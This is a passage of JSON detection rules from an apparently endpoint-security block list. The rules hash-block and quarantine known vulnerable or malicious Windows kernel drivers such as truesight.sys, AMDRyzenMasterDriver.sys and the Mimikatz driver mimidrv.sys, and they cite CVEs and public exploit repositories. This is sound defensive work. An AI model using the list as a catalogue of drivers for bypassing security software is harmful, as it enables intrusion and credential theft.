+  "value": "c5251d84f6dab1327b2f1ea0c5ccbe4b2790ae6eda0e20aa9d9acfc01e427fd9",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7cbdb0de-3ff9-56a5-85ca-6f599768f2c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481586Z",
+  "creation_date": "2026-03-23T11:45:30.481588Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eae5c993b250dcc5fee01deeb30045b0e5ee7cf9306ef6edd8c58e4dc743a8ed",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ccc0042-e2fc-5016-8335-37ae8532ebdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468047Z",
+  "creation_date": "2026-03-23T11:45:30.468050Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468060Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae55720475ab1c67e39720954111b90e96a5ebf5d3b91277f4c225a228d8739a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7cfe9c60-6ac5-5f72-b2cc-9ac94046baa2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829827Z",
+  "creation_date": "2026-03-23T11:45:30.829829Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829835Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "75e07a123051d99caaf198834ee18164a005ff750eca127839d281f7bc5c1d30",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d070e9d-39e2-5be5-9473-114a40c06509",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160970Z",
+  "creation_date": "2026-03-23T11:45:31.160972Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160978Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bfb8abda2a0a39017307430131556ef48bf1183347aa91706a3e70f32c1531a3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d0a2afd-8630-5d39-8f6f-21e6146c092c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826788Z",
+  "creation_date": "2026-03-23T11:45:31.826792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826800Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c85a3607f666212d7f6e5891d9c4b4f69d4c2b82dcfa1c3152922e3d2cf3fe5c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d13ba3c-6bd0-5b71-9760-0ca574aef54e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822501Z",
+  "creation_date": "2026-03-23T11:45:30.822505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822513Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72805e13777a39b440ef381720c0491e6091f9cb6c7b387be33ca5491fcfbfbd",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d16a9ea-b998-5a4e-83bc-a7acc28f9eec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972825Z",
+  "creation_date": "2026-03-23T11:45:29.972827Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972832Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b59ad4a1f71f8379c89fc3bc1d2827b0785bbb0192b43549034f24a133eea3a5",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d325d2e-c61f-5a22-9016-f0e27001bd37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824295Z",
+  "creation_date": "2026-03-23T11:45:31.824298Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824306Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0172627836f81e21554aa9c917dd609475a636e6a3a7365a327c394d4c682f92",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d3392fd-c8ff-5126-8192-78ae2d05bac8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817022Z",
+  "creation_date": "2026-03-23T11:45:31.817024Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817030Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82ba478ac307f29eebe91ad48c821b1a81ddfd87ec76eb3fe551fa489835f8f4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d3a708a-ea4b-5ef2-bf2d-6e25f3c59a74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609754Z",
+  "creation_date": "2026-03-23T11:45:29.609755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609761Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb81b5f8bf69637dbdf050181499088a67d24577587bc520de94b5ee8996240f",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d3dc74e-e503-52ac-8159-4c787bb48319",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143272Z",
+  "creation_date": "2026-03-23T11:45:31.143274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bff9f1531b378513d6385955fd17d213dbf896603d25a0609a5127b3a8010241",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d43b8ed-1ee6-59d9-adb0-a138a7b736b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979099Z",
+  "creation_date": "2026-03-23T11:45:29.979101Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979106Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe14940b5d3068b7ceffd28a529196811f1d0e175522f4dfab26573e7aca0bb4",
+  "comment": "Vulnerable Kernel Driver (aka LHA.sys) [https://www.loldrivers.io/drivers/eb07ef7e-0402-48eb-8e06-8fb76eda5b84/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d4c6820-c1ca-5492-b9be-e97cb506eee6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147077Z",
+  "creation_date": "2026-03-23T11:45:32.147079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147084Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf24c69123d4a72445547f7b5ad6738fb47f2d3fab06e3d628b7278113a63ae0",
+  "comment": "Vulnerable Kernel Driver (aka NSecKrnl.sys) [https://x.com/anylink20240604/status/1967181190949228608] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d665525-3db8-5c64-aeb7-c5416ed48fe9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481994Z",
+  "creation_date": "2026-03-23T11:45:31.481998Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0795d8e203efeb47f37bbea4b99010253c1f5ada10e7f5fc23557ae2cd03e528",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d694239-05f9-558f-aa96-f72a3881a606",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143342Z",
+  "creation_date": "2026-03-23T11:45:31.143344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143350Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4503df4f3d32a5029e7029d76ea60648959278efb0fdf7ad480955a40e1b4540",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d7045e6-3bb5-56e5-84c8-c3793242b87d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619320Z",
+  "creation_date": "2026-03-23T11:45:29.619322Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619327Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "caa85c44eb511377ea7426ff10df00a701c07ffb384eef8287636a4bca0b53ab",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d838449-d69d-56d0-a7e7-5ed798b4e617",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822000Z",
+  "creation_date": "2026-03-23T11:45:30.822002Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e160fc9d1990bc1e7ffa556d6ada19db0d2c5c7aeb23a491704b37854a666480",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7d8b34c5-82a9-588f-bb50-5b30109c0c19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825819Z",
+  "creation_date": "2026-03-23T11:45:31.825821Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825826Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "965ed1c794e002a00da89938e099bb53c0693cef8bc6530052ac61108c21900a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7dbd6a2f-e967-5da6-863d-41cdbe298369",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454298Z",
+  "creation_date": "2026-03-23T11:45:30.454302Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454311Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a4f4400402cdc475d39389645ca825bb0e775c3ecb7c527e30c5be44e24af7d",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7dc38898-5a40-51dc-9035-5ea6a62c5420",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978633Z",
+  "creation_date": "2026-03-23T11:45:29.978635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978640Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be54f7279e69fb7651f98e91d24069dbc7c4c67e65850e486622ccbdc44d9a57",
+  "comment": "Vulnerable Kernel Driver (aka magdrvamd64.sys) [https://www.loldrivers.io/drivers/cfd36b2e-cf96-498e-aeb6-ee20e7b33bbb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7dc8d590-c1a7-5b3b-9515-b608eccbc409",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616077Z",
+  "creation_date": "2026-03-23T11:45:29.616079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "316a27e2bdb86222bc7c8af4e5472166b02aec7f3f526901ce939094e5861f6d",
+  "comment": "Phoenix Tech. vulnerable BIOS update tool (aka PhlashNT.sys and WinFlash64.sys) [https://www.loldrivers.io/drivers/be3e49ea-095e-4fdb-9529-f4c2dbb9a9fc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7dcdb755-a0e3-5213-93bb-67ad3d6b84dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608527Z",
+  "creation_date": "2026-03-23T11:45:29.608529Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608534Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8940e2e9b069ec94f9f711150b313b437f8429f78d522810601b6ee8b52bada",
